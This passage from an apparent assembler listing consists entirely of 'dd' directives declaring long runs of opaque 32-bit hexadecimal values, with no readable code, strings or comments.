2D30C60h, 0C40E35E9h, 83CDB541h, 0D09959D5h, 44FFDD04h dd 4ADB8BF9h, 802CDB2Ch, 0B980F188h, 0B2400D30h, 30024110h dd 13C52F63h, 5791CE89h, 90EF53FFh, 0F8E9F701h, 9DDFB618h dd 5E0BFDC6h, 0CF482158h, 125C6DE9h, 0B9879C9Dh, 78B50F23h dd 0E0C178D4h, 8082C880h, 0F06C41BEh, 0E681BD80h, 99245E34h dd 919524Fh, 0C1483145h, 5837C965h, 9E068F8Fh, 0CD07E905h dd 7B364A86h, 58E118B5h, 33B21269h, 0D3063106h, 0C2400B0Dh dd 0D6F7B340h, 0D80FB090h, 67B4C39Ah, 0E8E05EF0h, 0A579C05h dd 2C8B79CDh, 95D6EFB7h, 7F2E83B2h, 0FFDC1524h, 842C3A17h dd 68E009D3h, 24235A84h, 0A9482554h, 78130550h, 6D805223h dd 63D5A10h, 0A80BA54h, 0FA64A855h, 0E9058353h, 17790A3h dd 0C3F65DEBh, 7EDB0259h, 5EF3962Ch, 0B11B4188h, 8E5652BEh dd 498C2882h, 4232805Eh, 163FE854h, 4738E4E9h, 2FF03101h dd 0B9E108DBh, 92D52C39h, 5D0CCE52h, 4099C97Dh, 892E534Dh dd 42292CE3h, 26AEEB9Dh, 6852C8E9h, 387D4F8Fh, 0ED4196B5h dd 0C1099542h, 5B0282ADh, 82819246h, 2912747Ah, 0F2F04A90h dd 0CC704A4Eh, 6D5BB53h, 0E90DBD01h, 0BA04171Eh, 74BC6FCCh dd 90381380h, 388B6043h, 6BE618EEh, 69A60CC0h, 130133E8h dd 808FE9D1h, 16684BDDh, 302D33F7h, 525BD6F7h, 51B00BBAh dd 0B28938A6h, 79EB0280h, 0B9609CACh, 0E0398A52h, 12D9FE7Ah dd 0DA7C9AE9h, 0ED4276F1h, 579BE917h, 82F387AEh, 85E411ECh dd 7B14BB09h, 0EE57818h, 2C545C80h, 4E74E7C3h, 0CCE907F8h dd 84F7E34Dh, 35B41B6Dh, 201714D8h, 0B9709623h, 10F82B1h dd 0A60298Eh, 252CD093h, 3B35E218h, 4043FFE4h, 15B4565Ch dd 8809BB63h, 0D3514897h, 0B92140EAh, 449B5FC6h, 664278C0h dd 0B0311D5Dh, 40014D8Fh, 1DDEE16h, 4AE92D2Fh, 0C0AE2C98h dd 52D318F5h, 136375B9h, 0C031681Ah, 518BC162h, 25257D3Ch dd 0CE914255h, 0FC97C121h, 603D6305h, 210416CFh, 0DA29176Ch dd 8120484h, 0C10FA68Ah, 0CA2003E2h, 67FD5528h, 2B5AE918h dd 5479681Ch, 1503252h, 0E0CE7B0h, 3810C9E9h, 0DE338A83h dd 3B3FB58Ch, 140A44D6h, 0EA7B4082h, 320981C5h, 13E13384h dd 0B684BDB2h, 1315BA08h, 338CB51h, 1C57316Eh, 1AF6F94Eh dd 3D29C460h, 0E2378C0Fh, 11CEC04Ah, 1B17B733h, 4B4EB8E9h dd 628EC949h, 5A5AF038h, 527A7151h, 0A22908BAh, 0C6F007DCh dd 0F7590F18h, 7ACE8746h, 2D687B0Ch, 242534CAh, 1720C308h dd 0AD3C4970h, 30501812h, 6073F909h, 0EF45C10h, 5F895551h dd 0F14F7B25h, 88BDE801h, 2972E6C7h, 4E95D90h, 0BF24C08Fh dd 4AD11602h, 5F49F9FAh, 0F7E98467h, 32623EBCh, 98C53A6Ch dd 0A2B99425h, 42C098A6h, 0A6B6D2CAh, 0DA131A34h, 5081DA16h dd 8A02C8A2h, 0BBF643E9h, 9E5AAE06h, 8E138B10h, 0ED7261FDh dd 0C3581811h, 5C0036Ah, 33F3D2A4h, 0BB313041h, 0C5AB4C06h dd 5EC1F9F6h, 68D0CCB6h, 940C78BEh, 98CF889Ah, 59EF2804h dd 44B4F80h, 0C0FE3F2Fh, 88C46EF3h, 380BAEADh, 31D94ADEh dd 0C12E452Bh, 0E67881E8h, 0DA310121h, 0CF80AADCh, 0EFCBD863h dd 675AE962h, 6988642Eh, 81617E18h, 29BC09C9h, 2D000F6Fh dd 0A39F69C6h, 0E77BE915h, 4ED669A7h, 0A6F8B1CCh, 46E9C1EDh dd 607F2528h, 75405D12h, 78CFB84Bh, 0D4C181E3h, 0D375F703h dd 9B06EB24h, 0ECB03CE4h, 96341767h, 0CA72126Ah, 0B2E91C3Ah dd 0B0B964A5h, 71144BD9h, 1432F71h, 4120D029h, 68423D58h dd 0BDBF71Dh, 7A3010FDh, 4A0174F9h, 0E9C30173h, 9D4D83D8h dd 6EC46B79h, 1542172Dh, 0CC5B5453h, 4A684CB8h, 0A23B355Eh dd 20FB2E02h, 0BE95784h, 0A2B903D2h, 6D302Fh, 353C685Fh dd 81FC17C6h, 1DF48041h, 68588141h, 6FE0529Bh, 9551E458h dd 0E69F1BA8h, 7C822DC4h, 0AC72F231h, 5632AC26h, 8038A4C0h dd 62FC983Bh, 1E90DA0h, 5A48CF78h, 7B184936h, 0B509054Bh dd 2C2F805Ch, 5C2A3D4Dh, 4D50D721h, 0C8313712h, 20088D05h dd 812D6847h, 7B20992Eh, 90839F34h, 0F3681824h, 200CF164h dd 0A285E81h, 0C7A2C603h, 0E6B02A5Bh, 0C9044159h, 0ECADE958h dd 0A526696h, 78D35A3Dh, 4BAEBFCCh, 80E145BBh, 0DA418EA4h dd 0A547492Ch, 720F8B1Ah, 566D205Ch, 4A310F7Dh, 53EA59C5h dd 0F859AFC4h, 6BB43389h, 62313324h, 67A46931h, 0C2D0B98Ch dd 735B2C38h, 68065105h, 5A78D1A2h, 5DD90B4Fh, 3EF8DC07h dd 0E14858A9h, 0B82175Bh, 59E3CCC3h, 54096B5Ch, 6A5AB0E9h dd 0C5C43B94h, 2A30B25h dd 44B1BD98h, 295FBA05h, 2F855BDDh, 5266A291h, 0B79CEBCAh dd 483DA39Ah, 1813D2F2h, 58F75911h, 1263CCF8h, 6028052Dh dd 8229028Eh, 881B952h, 50E579E9h, 768CF6A1h, 923E193Dh dd 4E3620F4h, 56580907h, 6BAE689h, 30C334C8h, 1C13F23Fh dd 0DC06EFF5h, 13B15541h, 1CE5C15Dh, 5BBAC043h, 1CE926DDh dd 512E0196h, 87578869h, 5B95E941h, 0CBE1659Dh, 0B41B17D9h dd 3CF79FF9h, 0E04DDE9Ch, 4437CAC3h, 70D45010h, 0C22FE377h dd 0AE7F2094h, 0BA0DAF76h, 0B4484A4h, 22526858h, 40563599h dd 844CB0D5h, 0B340474Eh, 2F2B5010h, 3E3CB429h, 0B0C4429h dd 0E4A1D3E9h, 2F58C328h, 484A6925h, 0C640BE0Ah, 7E7C92E8h dd 25F27DA1h, 76A026CAh, 3BAC6FB4h, 59080CC1h, 25326B9Ch dd 0C694FB62h, 2B624E07h, 42EC5CF8h, 9A41FE29h, 796728BDh dd 5C5193B4h, 0C6030F5h, 24D2C1h, 880F07F9h, 7B181AAh dd 9ED1040Fh, 0CE030430h, 0D85250A7h, 0AA4E24A5h, 5DEA0092h dd 148BD309h, 97311A80h, 52BB8B19h, 406001BEh, 721FD92Dh dd 0E74C3DF3h, 0E801A44h, 0CB28A5EBh, 59A4C3AEh, 5ECD8252h dd 6813E46Ch, 0DB30371Fh, 0D64657E9h, 126F1EA9h, 0A05CC5A2h dd 0A83A2DBDh, 0F6713F36h, 3FDD2E4Ah, 20C9047Ch, 0C0BF2248h dd 7509780h, 392E31B8h, 0E8C7444Dh, 0BCC2D6D2h, 9D944C50h dd 99A57314h, 515D5489h, 49094849h, 4CD81300h, 1EDE1CF4h dd 5F08ED14h, 395C5E4Bh, 0B5A565B8h, 10EB7140h, 78315C81h dd 83242468h, 0C6A2692h, 0F26989B8h, 0E5BC80Fh, 0E5D32972h dd 27E91C93h, 2BBAED82h, 5609D040h, 0FFBCC8F6h, 0DE03521Fh dd 0D96A9476h, 59814E74h, 6EE191C2h, 2FFDED89h, 298DF413h dd 4888A43Ch, 0DF803C28h, 0F78072A8h, 1583A0D5h, 8DD23E78h dd 9709DC95h, 8244C0Fh, 1DD0022Fh, 43D6555Bh, 5A90E750h dd 0C138CA21h, 0BF00083Eh, 0D4815A13h, 0F9333D9Ah, 1EE3615Ah dd 0BBFD9808h, 0B685337h, 63184048h, 4CEB2380h, 0D71664A9h dd 6F2728E9h, 0E55FF5B1h, 74669042h, 5BD88B60h, 0E05D304Ch dd 4A2D275Dh, 0CDD284ECh, 0C1DE8944h, 487786FFh, 0D60BA4D2h dd 8229A1CAh, 0D257DC2Dh, 3CB13821h, 225EC83Bh, 34F10267h dd 2F043C97h, 0F701F940h, 0D0CD87D9h, 0E54CD1DDh, 534C02DAh dd 430165F4h, 453BCFE3h, 69E98405h, 7865B20Ch, 0F71D8029h dd 53248528h, 7E016322h, 4F447942h, 8224E431h, 6E0248BBh dd 453EDDC0h, 4EB0135h, 26C40812h, 0B092A4A2h, 1F5EE9F4h dd 63224412h, 34F2135Ah, 88E7F0CAh, 0FD889624h, 422E27EBh dd 0B38BDB8Bh, 55B6D5E0h, 302EB409h, 766490F4h, 0B5A98372h dd 0F1F450BEh, 960F1CA1h, 0A9CD01D7h, 16CFF831h, 3747A868h dd 6244D21Ch, 0CD9140A9h, 4E2B24F8h, 0F50BFE98h, 847F5B33h dd 7AC15EFCh, 9D28FB68h, 7449099Eh, 7609F07Ah, 8F276552h dd 20F6929Ch, 0FC509F44h, 82899F2Ah, 2FC42F59h, 95791DB1h dd 0AD5D5096h, 16404D9Ah, 5814AC3h, 2DB9403Eh, 64B43C8h dd 635A91FEh, 0C4F96839h, 0F0B3638h, 5993C0B6h, 0B0D87FE2h dd 0C0BE334Ch, 57C8BE0Fh, 0E2E75989h, 62EF8387h, 0AFEB3C87h dd 65D7B069h, 4AE98B46h, 685C04A0h, 0BB995049h, 694E2CBFh dd 57DFBA81h, 5E38C601h, 8276B47Dh, 38E38D0Fh, 50E0605Eh dd 0A453F78Ah, 9620B470h, 682B421Bh, 1076473Eh, 0C5769362h dd 9632A401h, 5BDB8039h, 6B4FA268h, 0E820BB34h, 5988C301h dd 5B292D0Bh, 77396B8Fh, 0E00B2BD2h, 66701833h, 6CAB580Fh dd 0BD5384h, 0B24476B9h, 0C1894B60h, 845BFB78h, 2D5FF875h dd 542466E7h, 0BD688B16h, 2C47E6E8h, 1931C181h, 9AD0DDE0h dd 2099062h, 603A24A6h, 0B60FA01h, 0AD0336BAh, 0E7C1471Bh dd 0E9070D08h, 2F46141Dh, 5157EE71h, 0C4D48330h, 0C2C33055h dd 5D00FEE4h, 0CE04E0C1h, 0E8C00506h, 32792D08h, 505E2770h dd 0B5584128h, 23A19182h, 662D8E47h, 8D2B10Bh, 6031C5C4h dd 1C355003h, 6E3884F1h, 8388FA4Dh, 55166805h, 4B5450CCh dd 3EB7C05Fh, 0E926666Bh, 5A969B25h, 9FCA0E13h, 50664240h dd 2468D9F7h, 0C71E0999h, 39224961h, 490F44A5h, 345B2D2Ch dd 992A5AF0h, 415BC44h, 904E217Fh, 56575AF0h, 7C09E4B8h dd 0D828B15Eh, 0C990F2h, 689545E6h, 1A87890Fh, 7DAA67C4h dd 35BFE613h, 300408D3h, 2C16BC23h, 0ED138383h, 30225502h dd 41284A5Dh, 520261DCh, 8CDDF883h, 49A26354h, 96921B5Ch dd 0A053EACCh, 4578ABh, 98BB6E06h, 0E91A5F79h, 51FD5064h dd 291FD9E2h, 0B09C53C8h, 28E35E42h, 4AB8C7A2h, 257033D0h dd 0BC5400F4h, 3735486Ah, 3D023A17h, 0FD666105h, 0CF6E122h dd 1235F95Ch, 0B4D9529h, 0ED20BA0Ah, 0E2C0D6B2h, 0CA80080Eh dd 40C26070h, 27E9D128h, 5C9354B9h, 2F8808C1h, 47EAFD44h dd 4511D31Eh, 20F8899Eh, 2DE8D17Ch, 0E7552C00h, 4DBE5620h dd 44150054h, 4C29F681h, 1C907F09h, 15A6C8BEh, 5180F824h dd 2C3C6857h, 5F2401C4h, 0FF5CF81h, 9FD56009h, 41462AF1h dd 487F0C76h, 680611E0h, 0A4E807BAh, 441D2FF1h, 9660AD49h dd 28D19170h, 0C02640B5h, 8006EB05h, 7BA14FC3h, 3B9C3221h dd 4D4644CEh, 0CCB8C01Dh, 94BE313h, 0EE91304h, 0D8F058D4h dd 8A575B02h, 3F83266Fh, 4154AB8Ah, 18BB6881h, 0FE6250C9h dd 0D28E8313h, 8E91BA00h, 1DDF3CC9h, 77A4EE80h, 88863608h dd 5A1D56F1h, 274CE27h, 0E9F1CF80h, 11D631FEh, 0DA6850E0h dd 68B9913Bh, 19C00C46h, 0FF6EC2BDh, 2DD478C2h, 4C991734h dd 0FCB14401h, 76C3162Bh, 0FB90A74h, 40A10C88h, 0FD13C6C1h dd 8B16417Ch, 0BCA4BBF2h, 12E87980h, 0A2F93147h, 0FE7098B1h dd 4D2F0B13h, 0FC88CA01h, 0B3591608h, 5C827F87h, 2EE9613Bh dd 7F8133BAh, 0E9C20FBCh, 24287072h, 3B53F701h, 5F9A3F8Fh dd 7CC3E4A9h, 0A49B163Dh, 0CE075E25h, 36C023AEh, 6917E94Eh dd 4FA73FBFh, 68B3EA39h, 2CA03C8Dh, 2E162297h, 8DD9F9BEh dd 7410E09Dh, 7E41E556h, 0D5DF356Fh, 820EA21Eh, 0C6118BE9h dd 3E3DB1F3h, 58B9B218h, 0C507815Eh, 3917457Ah, 99CA66C2h dd 62285988h, 0E3B5E9B3h, 668A4EE3h, 0CB546764h, 8E840A0h dd 10CE2113h, 0AC700E0h, 7CF61672h, 31381398h, 275A54F8h dd 510C6991h, 0A09648EBh, 75AA31D7h, 55D83F9h, 0F3ACBF04h dd 62072D16h, 38650455h, 0CC136A8h, 0FE33D430h, 9009FDD4h dd 7E58A2E9h, 7042BD02h, 58094195h, 96C20039h, 1A2288Ch dd 68165AD0h, 0A336266Fh, 0E58D60A4h, 8F0FC1FEh, 5AC27A59h dd 0BAE38698h, 0C4883910h, 0BB53C600h, 0CC04DFB9h, 0E9DE2906h dd 22DBD9h, 8EDC058h, 0F580C5FEh, 0EE3D7C70h, 3E68059h dd 0F698B353h, 0EB863ADBh, 0E908D531h, 0E9D6D65Bh, 0C0B0279h dd 230ABEE9h, 613800F3h, 0D82976B6h, 0C372315Bh, 87E9C20Dh dd 96F56B8h, 74122F5Dh, 0E634774Ah, 1F03E915h, 436635DCh dd 9EF93C2Dh, 855B246Ch, 0F5A6A86Bh, 4C67C811h, 0E5160454h dd 74C1013Ah, 45782E59h, 0A52A1DC1h, 7E1E2047h, 0B2AE0A83h dd 7E12890h, 0F758C388h, 928A8AEEh, 85C18FEh, 594E9468h dd 0AAFF55CCh, 467376CAh, 4C32F666h, 406E693h, 7C3481ADh dd 20986507h, 0A0C3B352h, 0CB1350Bh, 0D7E2E90Bh, 0C602B744h dd 0FC2832B4h, 0C143415Bh, 0EBD5E3C1h, 165866D4h, 0E63CF168h dd 9B055B93h, 9513CF01h dd 0B9ED2F2h, 9D5A88E9h, 651F5D29h, 0D211E419h, 991BBA29h dd 5148D3B7h, 0EEB59201h, 3BC85140h, 0F7130093h, 6E3C1DBh dd 0E930D387h, 0C7014FDFh, 0D6515C58h, 0F34B6E00h, 0A4E94D27h dd 7EA9392h, 0D58C334Fh, 8E137C1h, 222DE20Ah, 32494A5Eh dd 0F2A80341h, 0D03B1F27h, 1E8C040h, 2FDAB22Dh, 1A211624h dd 0A9E94A03h, 0FDEB034Fh, 8E5C15Fh, 2E829DAh, 0C909BEBDh dd 231F8B9h, 0AF46B494h, 5070093Ah, 1CF72AE1h, 810D448Ch dd 35F4EE00h, 800F22BCh, 0E065CC7h, 0D80BDB81h, 0B6248247h dd 0F859F662h, 13E8FC36h, 95AD50Ch, 0D87B06h, 0EEC14E0Bh dd 87910404h, 215CD8Ch, 1F24006h, 0B25E5EF3h, 6750486Bh dd 5212BD88h, 9EB6DB86h, 1DF1B900h, 0D1F76775h, 81B5A0C1h dd 5AF30FE1h, 2F1D445Dh, 8B469742h, 0CF48960Fh, 2BB7C66Ah dd 0FBEB0285h, 874CC11Bh, 28969082h, 124BE252h, 6682FF27h dd 0B949092Fh, 22DB7050h, 302E0910h, 3B15E707h, 870F205Dh dd 65CE01D0h, 0DF1000F7h, 0D251E90Ah, 69BAD2D1h, 1CFACDD0h dd 0AAC9E35Bh, 4F435660h, 2E9D7976h, 2E425F4Bh, 25E4FEB3h dd 923F5448h, 15E77515h, 0C7D207Bh, 0B0F0F692h, 8D0F8BC1h dd 338058F7h, 866692E6h, 9820E913h, 60C001Ch, 0AE2D0558h dd 0C1124CC5h, 980108E0h, 7FDA2E6Eh, 25B0AC47h, 92D7149h dd 1B4A4F43h, 1305AF85h, 0E92ACC07h, 58863420h, 33392C31h dd 0EC4124CFh, 0B5BF8667h, 0D21B97E8h, 57E39Ah, 276E7CAFh dd 0D2F72E4Ah, 74108463h, 0F6358025h, 7F652252h, 91B4FC44h dd 9F390008h, 0F281424Ah, 0C4135E37h, 951A2969h, 3EEC8006h dd 0BF235B67h, 0F3E97901h, 1E297EDCh, 95E9B0A8h, 0E268A584h dd 0ED81006Fh, 3FC24F70h, 9AC56001h, 2B0F4530h, 0AB019890h dd 0E9439615h, 35A51F23h, 8A0F9F81h, 0FD982534h, 387D25BCh dd 0C4800937h, 58C0F0EDh, 787484C5h, 0C5900E8h, 5293341Fh dd 200CC2B6h, 0F5FAE9F0h, 0EDE35028h, 17665AC3h, 507C908Bh dd 0B50B83B4h, 89E5280Fh, 5276E2CCh, 11F45AF8h, 0CD67BB8h dd 5AA71202h, 1AF8013Ch, 553EF506h, 0FA657F09h, 0D1C20900h dd 9777FFE2h, 0D0E906B0h, 0BA1D149Ch, 32870182h, 89286131h dd 0C617C051h, 32C3BA06h, 652C7CB7h, 0FC5B7A80h, 4B1E7B67h dd 0FE0BFD30h, 942484CDh, 0C25A3FC1h, 48BB6964h, 5A5D026h dd 882124DCh, 31776BBCh, 5DE9250Bh, 68762316h, 0EBCCCD32h dd 4DB92451h, 524B1E9Bh, 0BFE508CAh, 871EBC26h, 80C016h dd 31BB6653h, 0D9BC2E2Ah, 8EE3E25Bh, 4CCDB8DDh, 1A3777AEh dd 2C31245h, 13BAF052h, 3FB7FD2Ah, 0D329F348h, 0E9DA87E8h dd 0AE02CB25h, 46093E7Dh, 283B72BDh, 0E724424h, 48773CDAh dd 1667EFC0h, 0C3F84DA3h, 0AB3A110Bh, 2B50E17Eh, 89533397h dd 5BDAF40Dh, 0B49694BFh, 0EB7F58F7h, 0DCB1FDABh, 12372A07h dd 0EF8C17FFh, 4F74B051h, 0B826C4ACh, 2568B356h, 9DE6541Dh dd 8BB44EF8h, 5E0E1A25h, 685C502Ch, 46745E2Dh, 22DCBA7h dd 0C25D3025h, 5749351Bh, 5AF8204Bh, 3FE23714h, 0AE092EE4h dd 54D2846Dh, 6DE9F822h, 66BF1562h, 0C5AC0449h, 5ADDE870h dd 0EFFDDD91h, 715BBB00h, 21068314h, 9E58B3h, 446561C3h dd 776FB20Dh, 731EA25h, 0E936BE77h, 80ABFAC8h, 14B4E281h dd 1C55CB68h, 0E6BEF455h, 24676F58h, 0C697FCEAh, 8E80AC0Eh dd 0A043330h, 0FE07F922h, 1C992FCEh, 0C00E8682h, 701004E6h dd 25F048C3h, 641B310h, 125D890Fh, 0A4C104FFh, 0ACE44EF5h dd 0F0A71D8h, 81715C82h, 0E6E0C88Bh, 0B5CAF20Ch, 8F59870Bh dd 4854126Ch, 0DB202358h, 88C24ABEh, 0F6560977h, 12599A7h dd 5A397E20h, 0D464D15Dh, 0E1435D9h, 109E4D36h, 8100EBDEh dd 0C95306E5h, 567D507Fh, 8914974Eh, 13CB3C42h, 94B2C095h dd 16A6BA01h, 204A3EB2h, 20E9B1Ch, 672962EAh, 30A9A2E9h dd 0BC1B190Bh, 54FA500Dh, 0ECED17C0h, 9651DB2Ah, 0F2E5B432h dd 30E696CDh, 75C3ADAh, 60B5E9E1h, 4E54CB2Bh, 5E1E3ED2h dd 0DE010989h, 41EEF400h, 0FA5C80AAh, 0F7891C72h, 248678A5h dd 298358C7h, 22B420C5h, 839FB950h, 7154731h, 4CCDC2D5h dd 0E05994A0h, 24E0520h, 2CCD5936h, 88F00CD3h, 2917B1CFh dd 0C1C306E2h, 0EE9906E6h, 0E4EA6002h, 0F189310Eh, 0B3F56E55h dd 6B5ED30Eh, 0BE13A06Fh, 0B5CD5123h, 0C44E8E85h, 0E1A2D5FCh dd 87B5027Dh, 1B253552h, 9006CC76h, 27125FC1h, 0B2F283E1h dd 408B406Ah, 3E5CDA00h, 38814974h, 963E13C9h, 0C4F6E90Ah dd 0D35B9D8Bh, 5C4346ECh, 0D9418653h, 0B734FBF1h, 28F5122Ch dd 201C08D0h, 6873F718h, 685981FEh, 94C9F7B1h, 0CDE913C4h dd 0BB375DF0h, 5556D99Ah, 95E5C85h, 8F4ACADBh, 70C2917Ah dd 0F367DB68h, 12592B93h, 11F3255h, 6801E80Bh, 383A4937h dd 0C60BCF27h, 3449E479h, 0CE914D8h, 0FC011119h, 163C20Fh dd 872A0D3h, 516E913h, 0B4744AF3h, 0B0B308C1h, 0DD989222h dd 126D991Ch, 804D7F7Bh, 0AF512642h, 0C113BB01h, 61CE8930h dd 0B42C5A36h, 80DAF603h, 0C4D28AEAh, 306A064Bh, 0C21F8F3Dh dd 59B9C949h, 1E5E3102h, 0BB2C827Ah, 0D27855D6h, 0B768160Ah dd 7BD1347h, 6060F133h, 112ED7CFh, 0A5E92612h, 83F22656h dd 28118B95h, 40052504h, 1E1DB8F5h, 89163B2Eh, 0E6413F5h dd 7C5B3197h, 0A625353Ah, 0F2442519h, 0C7DC2791h, 96DCCD4Ah dd 28685E82h, 62975412h, 0D89B0E47h, 0C64E9D7Bh, 0C554130Eh dd 3B27071h, 2C8C5C62h, 380A7764h, 0ED8984A8h, 0EF3DD805h dd 67529B8h, 295EE97Ch, 8831CFBh, 0E1141C41h, 0CDA7B228h dd 0B658525Ch, 14C81E3Dh, 0B21A9251h, 1381CFAFh, 6144B053h dd 0CE5A2F50h, 0A4DA5E0Ch, 0EE198C54h, 150BC533h, 1676CB62h dd 0B3524BF1h, 0E9D50CB9h, 0FBDDD9Fh, 499B3341h, 890A2344h dd 1787C218h, 0F20827D8h, 0F4565C31h, 81D6E849h, 0B88EC1F5h dd 98E82972h, 6892F2FCh, 8C3C4A82h, 14E79414h, 0A6B3C205h dd 83A98785h, 3147EE03h, 69D9B7BEh, 4282045Fh, 8EA92F43h dd 2C3DBC5Ch, 0EFA6C93Ah, 0F1881B05h, 0F81D712h, 5E60D14Ah dd 0F44EBAE0h, 9D1C0E77h, 0D3495966h, 0AEFC11E8h, 5A841897h dd 0D110D2E8h, 88F06C6Ah, 3D464FC9h, 9434DF13h, 0FA45ABB9h dd 0B1FD3C8Bh, 44A1E908h, 10505D3Eh, 4B3FBDFCh, 1C698318h dd 87314159h, 0B5D6DECFh, 3D20BA00h, 814CA100h, 0E60BA0CAh dd 6970B841h, 0E8007355h, 698942DFh, 13A5149Dh, 8D15A668h dd 7AC16EF5h, 0FC3D5B46h, 81430701h, 0D4985EF3h, 0DD61E9E6h dd 7F83AD5Fh, 250FDA30h, 1FC2C284h, 7DA50482h, 457CA62h dd 30045914h, 53DAE0D8h, 578DBB04h, 0B2E8155Bh, 63106060h dd 889050A9h, 3299C02h, 4AA6E9AEh, 2626C455h, 0F11DC5D4h dd 0A9270808h, 943A5ED5h, 8F05AB95h, 8ED9B6E2h, 0A8592A2Ch dd 0C205DD94h, 0C709936Ah, 1EF85AEh, 2C685908h, 3C97631Dh dd 8F6CBF56h, 0C9E9100Fh, 3C23F90Eh, 0F569A7Fh, 0D930ACB3h dd 0A4422124h, 0AD3AEB62h, 0C3299B3Eh, 41539C10h, 0B70F5505h dd 101322C0h, 94582C2Bh, 8287579Eh, 4CE68A87h, 70EE801Fh dd 0CF7BB18Ch, 8F2D05EAh, 0C7215673h, 18C8E245h, 0C1DDF700h dd 5E798EDh, 6F111ABEh, 2FC9C003h, 6904735Ah, 7AE9F501h dd 211676FCh, 436D3DCBh, 1F9FB59h, 4A861DFh, 0D7229C47h dd 91875A27h, 442BD270h dd 0EAD50D3h, 8BDFD821h, 8F34BF2Ch, 53137B9Eh, 139674E7h dd 0B62DC18Bh, 1FD73098h, 0D1B7B397h, 646EFBB0h, 0FD50C29Bh dd 0E9C32C04h, 0B0234FABh, 4DFC4121h, 970A7390h, 0AF6B0302h dd 1C743000h, 0A9ABB35h, 0C321192Ah, 6059EB48h, 539BF380h dd 5AE96846h, 293A090Fh, 602A6C4Dh, 818064BBh, 88638AC6h dd 0EE01096Dh, 0DD6275E9h, 683C6141h, 305D019Dh, 525823E1h dd 52D41E79h, 134B2354h, 0E2E2850Fh, 29F9C91Eh, 21ED89Bh dd 867AF02Dh, 0B555E2Eh, 546BD2A8h, 130FB83Ah, 0B8445B8Fh dd 0E3F6A17Fh, 68C23E78h, 835B36EAh, 81515309h, 3E190A4Eh dd 814A007Ah, 0A304C6C9h, 0E1064898h, 16DA3AFBh, 0AE0B306Ah dd 0CF29C1B5h, 89FD3D03h, 0A65859CBh, 0A0EFA666h, 90E43F5h dd 12E94F9Eh, 22B54A70h, 983057C9h, 0FA6855BCh, 565E2E4Ch dd 0E1DD14F8h, 30E9E879h, 0BE2A6FBDh, 29135C49h, 0B841564Eh dd 23953FFBh, 7E0102Ah, 92E95E06h, 0C1096FE7h, 99320968h dd 728081BEh, 78C37C26h, 602D6858h, 0F270E652h, 5B29EA71h dd 0DBC69741h, 5A5E3723h, 522F5CF9h, 0D84894E9h, 98B8EB29h dd 0A3889A92h, 520731F1h, 5D51EF2Fh, 0C8784FF2h, 0BB06AA06h dd 42D4167Fh, 8EAC1CAh, 0BF2BF261h, 34361393h, 2578C7E2h dd 0FFDBEB58h, 483C6885h, 6017152h, 7C7F0960h, 0B62B813Ah dd 0A1CF6C35h, 6B7D6E32h, 490EEE24h, 0CC824403h, 62D2CB25h dd 61DBC0FEh, 9A98B729h, 3224632Fh, 49003C12h, 0E965FA3Dh dd 264ABC2Dh, 0EC98C9EDh, 0D882AB10h, 0B0C895B6h, 6836307Ch dd 48F18811h, 0DDC5CDBBh, 538DB05Bh, 0D8290CA8h, 0E904819Bh dd 811670B9h, 83497810h, 1D42EFF5h, 0FAD2CFE7h, 69675C5Fh dd 0D6C0F382h, 3C30B907h, 48F727F9h, 6E0684D9h, 1079496Bh dd 413205B5h, 14EED07h, 42197CD9h, 0D679052Eh, 49B8BDC0h dd 0E0304AC6h, 0D1993B30h, 7F21D3E4h, 0CA0101AAh, 283ADD25h dd 3530E9FEh, 0BBE5733Fh, 33022624h, 0BCC8082Bh, 531CC581h dd 4F242938h, 83BDABBBh, 501ABAD8h, 8A68167Ah, 5335CC35h dd 88EAB700h, 0A3E95BFDh, 9749B24Bh, 3050F7C9h, 4797051Dh dd 32BD2031h, 0C185B488h, 4AB3BB55h, 0F9A09D42h, 0A3DEFAEEh dd 67BE2C44h, 0FCD94CCh, 0F7F578C4h, 0C7581D22h, 79CF8F0Ch dd 0C174AFE0h, 0E97302EFh, 0F580D3C1h, 1DE5532Ch, 332FE965h dd 1A8A68A7h, 0F70D5B0h, 0F72ACF00h, 0CD8145D5h, 4612269Fh dd 0ECF41260h, 2DCF5E34h, 95E95204h, 538CA463h, 436DD341h dd 13FE5E7Fh, 5B18C06h, 41147A00h, 6E8C163h, 18CEA1F7h dd 9B5093Bh, 3105A10Fh, 8472B571h, 1F22683Ch, 5E12FDF3h dd 5EC9F3ACh, 1CFA7918h, 0C99C960Eh, 0E7CC5AEAh, 6FA99EA1h dd 5065A275h, 0B131EE8h, 0A15004C0h, 1242A4CEh, 1CB34D0Eh dd 0D0F72648h, 528D20C5h, 82EEC02Fh, 2F012B33h, 1ED95809h dd 0B0065CBh, 30602FE9h, 86AE3C1h, 0D70CF606h, 0CEF451Eh dd 775606F8h, 771F50Ch, 48E9712Dh, 0EED9880Dh, 0E1CC6066h dd 6ED0F3C1h, 0E716DB64h, 0A1246412h, 53411329h, 5D63D0C8h dd 0C44B6F98h, 0E8A441Eh, 1BC2C24Fh, 283CF126h, 21900952h dd 4C0F2573h, 0D339572Fh, 0B00AC6D5h, 10116C0Bh, 0E07A0297h dd 0DD849542h, 0B02A84Eh, 2F1015Dh, 7444A76Bh, 45749AB2h dd 336F7B54h, 1230FAD1h, 7154316Ah, 93BB35C3h, 0AD8048ADh dd 3E52D305h, 0F8940E5Eh, 5F0E072Dh, 0C4553B68h, 0AE185A84h dd 7CA95674h, 0C4A3681Dh, 0FE5B198Ah, 0F7343B0Fh, 0DD4BE88Bh dd 6F8C9350h, 9893FCD3h, 982935C5h, 9D7F92F7h, 0CBE9C001h dd 0E1010417h, 5ABACD44h, 8240F330h, 1D0ED4Ah, 0D8B262F6h dd 7F446690h, 0A6EA4B30h, 2E20301Eh, 9D41E368h, 632B6146h dd 0DF3CE508h, 0F0D95C96h, 0DD89BF27h, 0C0528505h, 0D104ED5Fh dd 815D6F00h, 5C71C7F5h, 8E09BD06h, 95797B85h, 5296825Ah dd 1CAF64C0h, 89473C02h, 0CA4A5BDAh, 0F68E00FFh, 0B076E2FEh dd 2ACEC48Fh, 96A5B2FDh, 0EF2406A6h, 255CE5DBh, 0EC6BE4B8h dd 8221B280h, 0C5234CFCh, 0E9F29027h, 0A1289AAFh, 0DF4C697Dh dd 791502BAh, 504A59B3h, 0F86F4440h, 8D604981h, 21C00BC9h dd 97297FD3h, 0B9F1A4A0h, 6D268ED0h, 0D039E529h, 0D6A8318Bh dd 3D99FFCAh, 0D67704EBh, 403DF412h, 5674F17h, 689D7100h dd 4E3113F6h, 34B929D6h, 1D07554Bh, 47DFF763h, 204D736h dd 54166851h, 795061C0h, 0FDF1E913h, 2596A036h, 